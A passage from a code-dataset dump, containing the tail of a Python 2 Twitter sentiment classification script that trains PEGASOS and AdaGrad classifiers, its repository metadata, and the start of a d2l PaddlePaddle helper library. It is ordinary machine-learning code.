punctuation.\n    5. Replace @username with AT-USER.\n    6. Replace duplicate words - e.g. 'very very' should be replaced by 'very'.\n    7. After Steps 1-6 have been performed, check if the tweet has any of the words\n    from stopwords.txt (provided on Canvas). If there are any other words that are\n    stop words, ignore them. Whatever now remains of the original tweet is the \n    feature vector for that tweet. Create a table of feature vectors and sentiment.\n    For example for the first tweet in the dataset, which looks like \"@switchfoot\n    http://twitpic.com/2y1zl - Awww, that's a bummer. You shoulda got David Carr \n    of Third Day to do it. ;D\" the extracted feature is \"aww\". The second tweet \n    \"is upset that he can't update his Facebook by texting it... and might cry as a\n    result School today also. Blah!\" after doing steps 1-5 yields the features\n    ['upset', 'update', 'facebook', 'texting', 'cry', 'result', 'school']\n    \n    '''\n\n    print \"\\n\\n Cleaning the training data ... \\n\\n\"\n\n    # convert the tweets into String objects\n    X_train = X_train.astype(str)\n\n    print \"\\n Converting the tweets to lowercase ...\"\n\n    # 1. convert all the tweets into lowercase\n    X_train = np.core.defchararray.lower(X_train)\n    \n    print \"\\n Converting all occurences of 'www.', 'https://' and 'http://' to 'URL' ...\"\n\n    # 2. convert all occurences of 'www.','https://','http://' to 'URL'\n    X_train = np.array([re.sub(r'((http://)|(www.)|(https://))(?:[a-zA-Z]|[0-9]|[$-_~@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', 'URL', tweet) for tweet in X_train])\n    \n    print \"\\n Removing additional white spaces at beginning of text and in between text ...\"\n\n    # 3. remove additional white spaces at beginning of text and in between text\n    X_train = np.core.defchararray.strip(X_train)\n    X_train = np.core.defchararray.replace(X_train, '  ', ' ')\n\n    print \"\\n Removing all punctuation ...\"\n\n    # 4. remove all punctuation\n    X_train = np.array([re.sub(r'[!\"#$%&\\'\\(\\)*+,-./:;<=>?\\[\\\\\\]^_`\\{|\\}~]', '', tweet) for tweet in X_train])\n\n    print \"\\n Converting all occurances of '@<username>' to 'AT-USER' ...\"\n\n    # 5. convert all occurances of @username to 'AT-USER'\n    X_train = np.array([re.sub(r'(@)(?:[a-zA-Z]|[0-9])+', 'AT-USER', tweet) for tweet in X_train])             \n    \n    print \"\\n Replacing consecutive duplicate words with a single occurance of the word ...\"\n\n    # 6. replace consecutive duplicate words with a single occurance\n    X_train = np.array([re.sub(r'\\b(\\w+)(\\s\\1\\b)+', r'\\1', tweet) for tweet in X_train])\n\n    print \"\\n Removing stop words ...\"\n\n    # 7. remove stop words\n    with open(r\"stopwords.txt\", 'r') as stopWordsFile:\n        wordList = stopWordsFile.read().split('\\n')\n        regex = re.compile(r'\\b(%s)\\b' % '|'.join(wordList))\n        X_train = np.array([re.sub(regex, ' ', tweet) for tweet in X_train])\n\n    print \"\\n\\n Cleaned the training data ...\\n\\n\"\n    \n    '''\n    Question 1.3\n\n    Extract unigram features from the bag of words. The bag of words here is the \n    set of all words collected after performing steps 1-6. You are free to use any\n    library to create unigram features from the bag of words. To give an example \n    (from wikipedia) : Consider we have the tweets \"John likes to watch movies. \n    Mary likes movies too.\" and the tweet \"John also likes to watch football \n    games\". The bag of words (Steps 1-6) gives us (John,likes,to,watch,movies,Mary,\n    too,also,football,games.) To now extract unigram features, in the tweet \"John \n    likes to watch movies. Mary likes movies too.\" count the number of times each \n    word appears in the bag of words. Thus, the feature vector would look like \n    [1, 2, 1, 1, 2, 1, 1, 0, 0, 0]. John occurs once in the tweet, likes occurs \n    twice and so on. For more detail see the wikipedia article on bag of words. \n    You are free to extract bi-gram/n-gram features. Thus, at the end of this you \n    should have a list of features and the sentiment attached to these features.\n\n    '''\n\n    print \"\\n Creating bags-of-words (BoW) of the features ...\"\n\n    # generate bags-of-words (BoW) of the features\n    X_train = np.core.defchararray.split(X_train)\n    train_bags_of_words = np.array([list(set(tweetWords)) for tweetWords in X_train]) \n\n    print \"\\n BoW of the features created ...\"\n\n    print \"\\n\\n Creating table of BoW of features and corresponding sentiments ...\\n\\n\"\n\n    # generate table of BoW of features and corresponding sentiments\n    data_table = pd.DataFrame(train_bags_of_words, columns = ['Features'])\n    data_table['Sentiments'] = Y_train\n    print \"\\n\", data_table\n\n    end_time2 = time.time() - start_time2\n\n    print \"\\n\\n Table of BoW of features and corresponding sentiments created ...\"\n\n    print \"\\n\\n Time taken to clean the training data to form table of BoW of features and corresponding sentiments (in seconds) = \", end_time2\n\n    return X_train, Y_train\n\ndef loadTestData(filename):\n\n    start_time6 = time.time()\n\n    '''\n    Question 1.6\n\n    Read in the test CSV dataset. Perform all steps in Question 1.1 and 1.2. An\n    additional step required is that the sentiments in the test set are 0, 2 and 4.\n    Convert the tweets with sentiment 2 to 4. Report test accuracy and a plot of \n    test error vs number of iterations for classfiers trained in Part 1.4 and Part 1.5.\n    \n    '''\n\n    print \"\\n\\n Loading the test data ... \"\n\n    # read the data into a pandas DataFrsme object and convert it into a NumPy matrix\n    test_data_matrix = np.array(pd.read_csv(filename, header = None))\n\n    # the last column of the matrix is the tweet, taken only upto the first comma in the tweet\n    X_test = np.array([tweet.split(',')[0] for tweet in test_data_matrix[:,-1]])\n\n    # the first column of the matrix is the sentiment (either 0 or 4)\n    Y_test = test_data_matrix[:,0]\n\n    # label the sentimnents with value 2 as 4\n    Y_test[Y_test==2] = 4\n    \n    # label the sentimnents with value 4 as 1\n    Y_test[Y_test==4] = 1\n\n    # label the sentiments with value 0 as -1\n    Y_test[Y_test==0] = -1\n\n    end_time6 = time.time() - start_time6\n    \n    print \"\\n Test data Loaded ...\"\n\n    print \"\\n\\n Time taken to load the test data (in seconds) = \", end_time6\n\n    start_time7 = time.time()\n    \n    print \"\\n\\n Cleaning the test data ... \\n\\n\"\n    \n    # convert the tweets into String objects\n    X_test = X_test.astype(str)\n    \n    print \"\\n\\n Converting the tweets to lowercase ...\"\n\n    # 1. convert all the tweets into lowercase\n    X_test = np.core.defchararray.lower(X_test)\n\n    print \"\\n Converting all occurences of 'www.', 'https://' and 'http://' to 'URL' ...\"\n\n    # 2. convert all occurences of 'www.','https://','http://' to 'URL'\n    X_test = np.array([re.sub(r'((http://)|(www.)|(https://))(?:[a-zA-Z]|[0-9]|[$-_~@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', 'URL', tweet) for tweet in X_test])\n\n    print \"\\n Removing additional white spaces at beginning of text and in between text ...\"\n\n    # 3. remove additional white spaces at beginning of text and in between text\n    X_test = np.core.defchararray.strip(X_test)\n    X_test = np.core.defchararray.replace(X_test, '  ', ' ')\n    \n    print \"\\n Removing all punctuation ...\"\n\n    # 4. remove all punctuation\n    X_test = np.array([re.sub(r'[!\"#$%&\\'\\(\\)*+,-./:;<=>?\\[\\\\\\]^_`\\{|\\}~]', '', tweet) for tweet in X_test])\n\n    print \"\\n Converting all occurances of '@<username>' to 'AT-USER' ...\"\n\n    # 5. convert all occurances of @username to 'AT-USER'\n    X_test = np.array([re.sub(r'(@)(?:[a-zA-Z]|[0-9])+', 'AT-USER', tweet) for tweet in X_test])             \n    \n    print \"\\n Replacing consecutive duplicate words with a single occurance of the word ...\"\n\n    # 6. replace consecutive duplicate words with a single occurance\n    X_test = np.array([re.sub(r'\\b(\\w+)(\\s\\1\\b)+', r'\\1', tweet) for tweet in X_test])\n\n    print \"\\n Removing stop words ...\"\n\n    # 7. remove stop words\n    with open(r\"stopwords.txt\", 'r') as stopWordsFile:\n        wordList = stopWordsFile.read().split('\\n')\n        regex = re.compile(r'\\b(%s)\\b' % '|'.join(wordList))\n        X_test = np.array([re.sub(regex, ' ', tweet) for tweet in X_test])\n\n    print \"\\n\\n Cleaned the test data ...\\n\\n\"\n\n    # get words of each tweet\n    X_test = np.core.defchararray.split(X_test)\n    \n    end_time7 = time.time() - start_time7\n\n    print \"\\n\\n Time taken to clean the test data (in seconds) = \", end_time7\n    \n    return X_test, Y_test\n\ndef createUnigramFeatureMatrixFromTweets(X_train, X_test):\n\n    start_time3 = time.time()\n    \n    '''\n    Question 1.3\n\n    Extract unigram features from the bag of words. The bag of words here is the \n    set of all words collected after performing steps 1-6. You are free to use any\n    library to create unigram features from the bag of words. To give an example \n    (from wikipedia) : Consider we have the tweets \"John likes to watch movies. \n    Mary likes movies too.\" and the tweet \"John also likes to watch football \n    games\". The bag of words (Steps 1-6) gives us (John,likes,to,watch,movies,Mary,\n    too,also,football,games.) To now extract unigram features, in the tweet \"John \n    likes to watch movies. Mary likes movies too.\" count the number of times each \n    word appears in the bag of words. Thus, the feature vector would look like \n    [1, 2, 1, 1, 2, 1, 1, 0, 0, 0]. John occurs once in the tweet, likes occurs \n    twice and so on. For more detail see the wikipedia article on bag of words. \n    You are free to extract bi-gram/n-gram features. Thus, at the end of this you \n    should have a list of features and the sentiment attached to these features.\n\n    Question 1.5\n\n    Use AdaGrad to train a classifier on the features extracted above. Report a plot\n    of training error vs. number of iterations for every 1000 iterations. Merge this\n    plot with the one from the previous question. No libraries are allowed here.\n\n    '''\n\n    # encode the string entries as 'latin-1' and get back the preprocessed tweets\n    train_tweets_latin = np.array([[word.decode('latin-1') for word in tweet] for tweet in X_train])\n    preprocessed_tweet_corpus_train = [' '.join(tweet) for tweet in train_tweets_latin]\n\n    # encode the string entries as 'latin-1' and get back the preprocessed tweets\n    test_tweets_latin = np.array([[word.decode('latin-1') for word in tweet] for tweet in X_test])\n    preprocessed_tweet_corpus_test = [' '.join(tweet) for tweet in test_tweets_latin]\n    \n    # corpus of preprocessed tweets\n    preprocessed_tweet_corpus = preprocessed_tweet_corpus_train + preprocessed_tweet_corpus_test\n\n    print \"\\n\\n Creating unigram features and converting the data into a matrix of feature occurances ...\"\n\n    # convert the preprocessed tweets to a matrix of unigram feature counts\n    vectorizer = CountVectorizer(ngram_range = (1,1))\n    \n    # training set matrix\n    X_train_sparse = vectorizer.fit_transform(preprocessed_tweet_corpus)[:X_train.shape[0],:]\n    \n    # test set amtrix\n    X_test_sparse = vectorizer.fit_transform(preprocessed_tweet_corpus)[X_train.shape[0]:,:]\n\n    print \"\\n\\n Converted the data into training and test matrices of feature occurances ...\"\n\n    end_time3 = time.time() - start_time3\n\n    print \"\\n\\n Time taken to construct the training and test set matrices (in seconds) = \", end_time3\n\n    return X_train_sparse, X_test_sparse\n\ndef runPegasosAndAdaGrad(X_train_sparse, Y_train):\n\n    start_time4 = time.time()\n\n    '''\n    Question 1.4\n\n    Use PEGASOS to train an SVM on the features extracted above. Make a plot of\n    training error v/s number of iterations.\n\n    '''\n\n    # **************************************************************************************************\n    #\n    #                       PEGASOS - Primal Estimated sub-GrAdient SOlver for SVM \n    #\n    #   Input : Training Set S = {(x1, y1), (x2, y2), ....., (xn, yn)}, Regularization parameter lambda,\n    #           Number of iterations = T  \n    #\n    #   Initialize : w such that norm(w) <= 1/sqrt(lambda)\n    #\n    #   For t = 1, 2, ..., T:\n    #\n    #       1. Choose A (a randomly chosen subset of S) with |A| = B\n    #\n    #       2. A+ = {(x,y) (present in A) such that y<w,x> < 1}\n    #\n    #       3. learning rate = eta = 1/(count * lambda)   \n    #\n    #       4. gradient = lambda * w - (eta / B) * <y,x> for (x,y) in A+\n    #\n    #       5. new w = w - eta * gradient\n    #\n    #       6. projection of new w = new w * min(1, 1/(sqrt(lambda) * norm(new w))\n    #\n    # **************************************************************************************************\n\n    print \"\\n\\n\\n\\n Running PEGASOS on the training data ...\\n\"\n\n    # set number of iterations\n    T_P = 5000\n\n    # set lambda (regularizer)\n    regularizer_P = 0.00001\n\n    # set number of random rows to be selected at every iteration\n    B_P = 1000\n\n    # initialize count\n    count_P = 1\n\n    # initialize decision boundary\n    w_P = np.zeros(X_train_sparse.shape[1])\n\n    # initial prediction\n    Y_pred_P = X_train_sparse.dot(w_P)\n\n    # initial training error\n    training_error_P = float(np.logical_xor((Y_pred_P > 0).astype(int), (Y_train.astype(int) > 0).astype(int)).sum())/float(X_train_sparse.shape[0])\n\n    # lsit to hold training error2\n    training_error_list_P = [training_error_P]\n\n    # list to hold number of iterations\n    count_list_P = [count_P]\n    \n    # list to hold the decision values for each iteration\n    w_P_list = [w_P]\n    \n    for i in range(T_P):\n    \n        # randomly generate B_P row numbers\n        j = np.random.randint(0, X_train_sparse.shape[0] , B_P)\n        \n        # generate the corresponding random subsets of X_train_sparse and Y_train \n        x_P = X_train_sparse[j]\n        y_P = Y_train[j].astype(int)\n    \n        # compute the learning rate\n        eta_P = 1/float(count_P * regularizer_P)\n    \n        # see the sign of y<w,x> and generate a binary decision vector after checking if y<w,x> < 1 \n        decision_vector_P = np.multiply(x_P.dot(w_P), y_P)  \n        decision_vector_P = (decision_vector_P < 1).astype(int)\n    \n        # convert decision vector to a sparse CSR vector\n        decision_vector_sparse_P = sparse.csr_matrix(decision_vector_P).T\n        \n        # filter training examples for which y<w,x> >= 1\n        x_new_P = x_P.multiply(decision_vector_sparse_P)\n        y_new_P = np.multiply(y_P, decision_vector_P)\n    \n        # compute the gradient\n        grad_P = np.subtract(np.multiply(w_P, regularizer_P), np.multiply(x_new_P.T.dot(y_new_P), float(eta_P)/float(B_P)))\n    \n        # compute new decision boundary\n        w_new_P = np.subtract(w_P, np.multiply(grad_P, eta_P))\n    \n        # take projection of decision boundary so that it does not exit the set 1/srqt(regularizer_P)\n        w_new_proj_P = np.multiply(w_new_P, min(1, 1/(float(np.sqrt(regularizer_P)) *  float(np.linalg.norm(w_new_P)))))\n    \n        # increment the counter and put it in count_list\n        count_P = count_P + 1\n        count_list_P.append(count_P)\n        \n        # decision boundary is new decision boundary, put it in w_P_list\n        w_P = w_new_proj_P\n        w_P_list.append(w_P)\n        \n        # calculate training error and put it in training_error_list\n        y_pred_P = x_P.dot(w_P)\n        \n        training_error_P = float(np.logical_xor((y_pred_P > 0).astype(int), (y_P > 0).astype(int)).sum())/float(B_P)\n        training_error_list_P.append(training_error_P)\n    \n    print \"\\n\\n PEGASOS run successfully on the training data ...\\n\"\n\n    end_time4 = time.time() - start_time4\n\n    print \"\\n\\n Time taken to train data using PEGASOS (in seconds) = \", end_time4\n    \n    print \"\\n\\n\\n Plotting Training Error v/s Number of Iterations for the trained model for PEGASOS ...\\n\"\n\n    # plot training error v/s number of iterations\n    plt.title('\\n Training Error v/s Number of Iterations\\n')\n    plt.xlabel('Number of Iterations')\n    plt.ylabel('Training Error')\n    plt.plot(count_list_P, training_error_list_P, color = '#e0ffff')\n    tck1 = interpolate.splrep(count_list_P, training_error_list_P, k = 3, s = 900)\n    training_error_list_P_int = interpolate.splev(count_list_P, tck1, der = 0)\n    plt.plot(count_list_P, training_error_list_P_int, color = 'blue', label = 'PEGASOS')\n    plt.legend()\n    plt.show()\n\n    start_time5 = time.time()\n\n    '''\n    Question 1.5\n\n    Use AdaGrad to train a classifier on the features extracted above. Report a plot\n    of training error vs. number of iterations for every 1000 iterations. Merge this\n    plot with the one from the previous question. No libraries are allowed here.\n\n    '''\n\n    # **************************************************************************************************\n    #\n    #                                   AdaGrad - Adaptive Gradient \n    #\n    #   Input : Training Set S = {(x1, y1), (x2, y2), ....., (xn, yn)}, Regularization parameter lambda,\n    #           Number of iterations = T \n    #\n    #   Initialize : w such that norm(w) <= 1/sqrt(lambda), S old = (1,1,1.....,1)\n    #\n    #   For t = 1, 2, ..., T:\n    #\n    #       1. Choose A (a randomly chosen subset of S)\n    #\n    #       2. A+ = {(x,y) (present in A) such that y<w,x> < 1}\n    #\n    #       3. learning rate = eta = 0.01   \n    #\n    #       4. gradient = - <y,x> for (x,y) in A+\n    #\n    #       5. S new = S old + gradient^2\n    #\n    #       6. new w = w - [eta / (B * sqrt(S new))] * gradient\n    #   \n    #       7. projection of new w = new w * min(1, 1/(sqrt(lambda) * norm(S new * new w))\n    #\n    # **************************************************************************************************\n\n    print \"\\n\\n\\n\\n Running AdaGrad on the training data ...\\n\"\n\n    # set number of iterations\n    T_A = 5000\n\n    # set lambda (regularizer)\n    regularizer_A = 0.005\n\n    # set number of random rows to be selected at every iteration\n    B_A = 1000\n    \n    # set the learning rate\n    eta_A = 0.01\n    \n    # initialize count\n    count_A = 1\n\n    # initialize decision boundary\n    w_A = np.zeros(X_train_sparse.shape[1])\n\n    # initialize vector of diagonal elements of tranformation matrix G\n    S_A = np.ones(X_train_sparse.shape[1])\n\n    # initial prediction\n    Y_pred_A = X_train_sparse.dot(w_A)\n\n    # initial training error\n    training_error_A = float(np.logical_xor((Y_pred_A > 0).astype(int), (Y_train.astype(int) > 0).astype(int)).sum())/float(X_train_sparse.shape[0])\n\n    # lsit to hold training error2\n    training_error_list_A = [training_error_A]\n\n    # list to hold number of iterations\n    count_list_A = [count_A]\n    \n    # list to hold the decision values for each iteration\n    w_A_list = [w_A]\n\n    for i in range(T_A):\n        \n        # randomly generate B_A row numbers\n        j = np.random.randint(0, X_train_sparse.shape[0], B_A)\n    \n        # generate the corresponding random subsets of X_train_sparse and Y_train \n        x_A = X_train_sparse[j]\n        y_A = Y_train[j].astype(int)\n        \n        # see the sign of y<w,x> and generate a binary decision vector after checking if y<w,x> < 1 \n        decision_vector_A = np.multiply(x_A.dot(w_A), y_A)  \n        decision_vector_A = (decision_vector_A < 1).astype(int)\n        \n        # convert decision vector to a sparse CSR vector\n        decision_vector_sparse_A = sparse.csr_matrix(decision_vector_A).T\n        \n        # filter training examples for which y<w,x> >= 1\n        x_new_A = x_A.multiply(decision_vector_sparse_A)\n        y_new_A = np.multiply(y_A, decision_vector_A)\n    \n        # compute the gradient\n        grad_A = np.multiply((x_new_A.T.dot(y_new_A)), -1)\n    \n        # compute new vector of diagonal elements of tranformation matrix G\n        S_new_A = np.add(S_A, np.square(grad_A))\n    \n        # compute new decision boundary\n        w_new_A = np.subtract(w_A, np.multiply(grad_A, np.multiply(float(eta_A)/float(B_A), np.divide(1, np.sqrt(S_new_A)))))\n    \n        # take projection of decision boundary so that it does not exit the set 1/srqt(regularizer_A)\n        w_new_proj_A = np.multiply(w_new_A, min(1, 1/(float(np.sqrt(regularizer_A)) *  float(np.linalg.norm(np.multiply(S_new_A, w_new_A))))))\n    \n        # increment the counter and put it in count_list\n        count_A = count_A + 1\n        count_list_A.append(count_A)\n    \n        # decision boundary is new decision boundary, put it in w_A_list\n        w_A = w_new_proj_A\n        w_A_list.append(w_A)\n        \n        # vector of diagonal elements of tranformation matrix G is the new vector of diagonal elements of G\n        S_A = S_new_A\n    \n        # calculate training error and put it in training_error_list\n        y_pred_A = x_A.dot(w_A)\n    \n        training_error_A = float(np.logical_xor((y_pred_A > 0).astype(int), (y_A > 0).astype(int)).sum())/float(B_A)\n        training_error_list_A.append(training_error_A)\n\n    print \"\\n\\n AdaGrad ran successfully on the training data ...\\n\"\n\n    end_time5 = time.time() - start_time5\n\n    print \"\\n\\n Time taken to train data using AdaGrad (in seconds) = \", end_time5\n    \n    print \"\\n\\n\\n Plotting Training Error v/s Number of Iterations for the trained model for AdaGrad ...\\n\"\n\n    # plot training error v/s number of iterations\n    plt.title('\\n Training Error v/s Number of Iterations\\n')\n    plt.xlabel('Number of Iterations')\n    plt.ylabel('Training Error')\n    plt.plot(count_list_A, training_error_list_A, color = '#ffe4e1')\n    tck1 = interpolate.splrep(count_list_A, training_error_list_A, k = 3, s = 900)\n    training_error_list_A_int = interpolate.splev(count_list_A, tck1, der = 0)\n    plt.plot(count_list_A, training_error_list_A_int, color = 'red', label = 'AdaGrad')\n    plt.legend()\n    plt.show()\n    \n    print \"\\n\\n\\n Plotting Training Error v/s Number of Iterations for the trained model for PEGASOS and AdaGrad...\\n\"\n\n    # plot training error v/s number of iterations\n    plt.title('\\n Training Error v/s Number of Iterations\\n')\n    plt.xlabel('Number of Iterations')\n    plt.ylabel('Training Error')\n    plt.plot(count_list_P[::999], training_error_list_P_int[::999], color = 'blue', label = 'PEGASOS')\n    plt.plot(count_list_A[::999], training_error_list_A_int[::999], color = 'red', label = 'AdaGrad')\n    plt.legend()\n    plt.show()\n\n    return w_P_list, w_A_list, count_list_P, count_list_A\n\ndef testAccuracies(X_test_sparse, Y_test, w_P_list, w_A_list, count_list_P, count_list_A):\n    \n    '''\n    Question 1.6\n\n    Read in the test CSV dataset. Perform all steps in Question 1.1 and 1.2. An\n    additional step required is that the sentiments in the test set are 0, 2 and 4.\n    Convert the tweets with sentiment 2 to 4. Report test accuracy and a plot of \n    test error vs number of iterations for classfiers trained in Part 1.4 and Part 1.5.\n    \n    '''\n    \n    print \"\\n\\n\\n\\n Making predictions on the test data and calculating the classification accuracies ...\"\n\n    test_error_P = [float(np.logical_xor((X_test_sparse.dot(w_P) > 0).astype(int), (Y_test.astype(int) > 0).astype(int)).sum())/float(Y_test.shape[0]) for w_P in w_P_list] \n    \n    print \"\\n\\nPercentage Accuracy for PEGASOS: \" + str(round(100 - (test_error_P[-1] * 100), 3)) + \"%\"\n\n    test_error_A = [float(np.logical_xor((X_test_sparse.dot(w_A) > 0).astype(int), (Y_test.astype(int) > 0).astype(int)).sum())/float(Y_test.shape[0]) for w_A in w_A_list]\n\n    print \"\\n\\nPercentage Accuracy for AdaGrad: \" + str(round(100 - (test_error_A[-1] * 100), 3)) + \"%\"\n    \n    print \"\\n\\n\\n Plotting Test Error v/s Number of Iterations for the trained model for PEGASOS and AdaGrad...\\n\"\n    \n    # plot test error v/s number of iterations\n    plt.title('\\n Test Error v/s Number of Iterations\\n')\n    plt.xlabel('Number of Iterations')\n    plt.ylabel('Test Error')\n    plt.plot(count_list_P, test_error_P, color = '#e0ffff')\n    plt.plot(count_list_A, test_error_A, color = '#ffe4e1')\n    tck1 = interpolate.splrep(count_list_P, test_error_P, k = 3, s = 900)\n    test_error_P_int = interpolate.splev(count_list_P, tck1, der = 0)\n    tck2 = interpolate.splrep(count_list_A, test_error_A, k = 3, s = 900)\n    test_error_A_int = interpolate.splev(count_list_A, tck2, der = 0)\n    plt.plot(count_list_P, test_error_P_int, color = 'blue', label = 'PEGASOS')\n    plt.plot(count_list_A, test_error_A_int, color = 'red', label = 'AdaGrad')\n    plt.legend()\n    plt.show()\n    \n    return test_error_P, test_error_A\n\n# **********************************************************************************************\n#\n#   function calls\n#    \n# **********************************************************************************************\n    \n# load training data\nX_train, Y_train = loadTrainData('training.1600000.processed.noemoticon.csv')\n\n# load test data\nX_test, Y_test = loadTestData('testdata.manual.2009.06.14.csv')\n\n# generate feature matrices of training and test data\nX_train_sparse, X_test_sparse = createUnigramFeatureMatrixFromTweets(X_train, X_test)\n\n# get decision \nw_P_list, w_A_list, count_list_P, count_list_A = runPegasosAndAdaGrad(X_train_sparse, Y_train)\n\n# print test accuracy results\ntest_error_P, test_error_A = testAccuracies(X_test_sparse, Y_test, w_P_list, w_A_list, count_list_P, count_list_A)\n\nend_time = time.time() - start_time1\n\nprint \"\\n\\n\\n\\n Total time taken by program to run (in seconds) = \", end_time\nprint \"\\n\\n\"\n", "meta": {"hexsha": "e490e4d8d5cc13025ef89e3d51a541d5cd129a67", "size": 27636, "ext": "py", "lang": "Python", "max_stars_repo_path": "main.py", "max_stars_repo_name": "ApurbaSengupta/Twitter-Sentiment-Classification", "max_stars_repo_head_hexsha": "2b7141811c6d3b603c30384ee31255807a1312c0", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-03-13T17:17:45.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-13T17:17:45.000Z", "max_issues_repo_path": "main.py", "max_issues_repo_name": "ApurbaSengupta/Twitter-Sentiment-Classification", "max_issues_repo_head_hexsha": "2b7141811c6d3b603c30384ee31255807a1312c0", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "main.py", "max_forks_repo_name": "ApurbaSengupta/Twitter-Sentiment-Classification", "max_forks_repo_head_hexsha": "2b7141811c6d3b603c30384ee31255807a1312c0", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.1686046512, "max_line_length": 172, "alphanum_fraction": 0.6392386742, "include": true, "reason": "import numpy,from scipy", "num_tokens": 7281, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.1112412079807702, "lm_q1q2_score": 0.05344902855505275}}
{"text": "#################   WARNING   ################\n# The below part is generated automatically through:\n#    d2lbook build lib\n# Don't edit it directly\n\nimport collections\nimport hashlib\nimport math\nimport os\nimport random\nimport re\nimport shutil\nimport sys\nimport tarfile\nimport time\nimport zipfile\nfrom collections import defaultdict\nimport pandas as pd\nimport requests\nfrom IPython import display\nfrom matplotlib import pyplot as plt\n\nd2l = sys.modules[__name__]\n\nimport numpy as np\nimport paddle\nfrom PIL import Image\nfrom paddle import nn\nfrom paddle.nn import functional as F\nfrom paddle.vision import transforms, image_load\nfrom paddle.io import Dataset, DataLoader\n\n\"\"\"2.4\"\"\"\ndef use_svg_display():\n    \"\"\"\u4f7f\u7528svg\u683c\u5f0f\u5728Jupyter\u4e2d\u663e\u793a\u7ed8\u56fe\n    Defined in :numref:`sec_calculus`\"\"\"\n    display.set_matplotlib_formats('svg')\n\ndef set_figsize(figsize=(3.5, 2.5)):\n    \"\"\"\u8bbe\u7f6ematplotlib\u7684\u56fe\u8868\u5927\u5c0f\n    Defined in :numref:`sec_calculus`\"\"\"\n    use_svg_display()\n    d2l.plt.rcParams['figure.figsize'] = figsize\n\ndef set_axes(axes, xlabel, ylabel, xlim, ylim, xscale, yscale, legend):\n    \"\"\"\u8bbe\u7f6ematplotlib\u7684\u8f74\n    Defined in :numref:`sec_calculus`\"\"\"\n    axes.set_xlabel(xlabel)\n    axes.set_ylabel(ylabel)\n    axes.set_xscale(xscale)\n    axes.set_yscale(yscale)\n    axes.set_xlim(xlim)\n    axes.set_ylim(ylim)\n    if legend:\n        axes.legend(legend)\n    axes.grid()\n\ndef plot(X, Y=None, xlabel=None, ylabel=None, legend=None, xlim=None,\n         ylim=None, xscale='linear', yscale='linear',\n         fmts=('-', 'm--', 'g-.', 'r:'), figsize=(3.5, 2.5), axes=None):\n    \"\"\"\u7ed8\u5236\u6570\u636e\u70b9\n    Defined in :numref:`sec_calculus`\"\"\"\n    if legend is None:\n        legend = []\n\n    set_figsize(figsize)\n    axes = axes if axes else d2l.plt.gca()\n\n    # \u5982\u679cX\u6709\u4e00\u4e2a\u8f74\uff0c\u8f93\u51faTrue\n    def has_one_axis(X):\n        return (hasattr(X, \"ndim\") and X.ndim == 1 or isinstance(X, list)\n                and not hasattr(X[0], \"__len__\"))\n\n    if has_one_axis(X):\n        X = [X]\n    if Y is None:\n        X, Y = [[]] * len(X), X\n    elif has_one_axis(Y):\n        Y = [Y]\n    if len(X) != len(Y):\n        X = X * len(Y)\n    axes.cla()\n    for x, y, fmt in zip(X, Y, fmts):\n        if len(x):\n            axes.plot(x, y, fmt)\n        else:\n            axes.plot(y, fmt)\n    set_axes(axes, xlabel, ylabel, xlim, ylim, xscale, yscale, legend)# Alias defined in config.ini\n\n\"\"\"3.1\"\"\"\nclass Timer:  #@save\n    \"\"\"\u8bb0\u5f55\u591a\u6b21\u8fd0\u884c\u65f6\u95f4\"\"\"\n    def __init__(self):\n        self.times = []\n        self.start()\n\n    def start(self):\n        \"\"\"\u542f\u52a8\u8ba1\u65f6\u5668\"\"\"\n        self.tik = time.time()\n\n    def stop(self):\n        \"\"\"\u505c\u6b62\u8ba1\u65f6\u5668\u5e76\u5c06\u65f6\u95f4\u8bb0\u5f55\u5728\u5217\u8868\u4e2d\"\"\"\n        self.times.append(time.time() - self.tik)\n        return self.times[-1]\n\n    def avg(self):\n        \"\"\"\u8fd4\u56de\u5e73\u5747\u65f6\u95f4\"\"\"\n        return sum(self.times) / len(self.times)\n\n    def sum(self):\n        \"\"\"\u8fd4\u56de\u65f6\u95f4\u603b\u548c\"\"\"\n        return sum(self.times)\n\n    def cumsum(self):\n        \"\"\"\u8fd4\u56de\u7d2f\u8ba1\u65f6\u95f4\"\"\"\n        return np.array(self.times).cumsum().tolist()\n\n\"\"\"3.2\"\"\"\ndef synthetic_data(w, b, num_examples):  #@save\n    \"\"\"\u751f\u6210y=Xw+b+\u566a\u58f0\"\"\"\n    X = paddle.normal(0, 1, (num_examples, len(w)))\n    y = paddle.matmul(X, w) + b\n    y += paddle.normal(0, 0.01, y.shape)\n    return X, y.reshape((-1, 1))\n\ndef linreg(X, w, b):  #@save\n    \"\"\"\u7ebf\u6027\u56de\u5f52\u6a21\u578b\"\"\"\n    return paddle.matmul(X, w) + b\n\ndef squared_loss(y_hat, y):\n    \"\"\"\u5747\u65b9\u635f\u5931\u3002\"\"\"\n    return (y_hat - y.reshape(y_hat.shape))**2 / 2\n\ndef sgd(params, lr, batch_size):  #@save\n    \"\"\"\u5c0f\u6279\u91cf\u968f\u673a\u68af\u5ea6\u4e0b\u964d\"\"\"\n    a=[]\n    with paddle.no_grad():\n        for params in params:\n            params -= lr * params.grad/ batch_size\n            params.stop_gradient = False\n            a.append(params)\n        return a\n\n\"\"\"3.3\"\"\"\ndef load_array(data_arrays, batch_size, is_train=True):\n    \"\"\"\u6784\u9020\u4e00\u4e2aPaddle\u6570\u636e\u8fed\u4ee3\u5668\u3002\"\"\"\n    dataset = paddle.io.TensorDataset(data_arrays)\n    return paddle.io.DataLoader(dataset, batch_size=batch_size, shuffle=is_train)\n\n\"\"\"3.5\"\"\"\ndef get_fashion_mnist_labels(labels):  #@save\n    \"\"\"\u8fd4\u56deFashion-MNIST\u6570\u636e\u96c6\u7684\u6587\u672c\u6807\u7b7e\"\"\"\n    text_labels = ['t-shirt', 'trouser', 'pullover', 'dress', 'coat',\n                   'sandal', 'shirt', 'sneaker', 'bag', 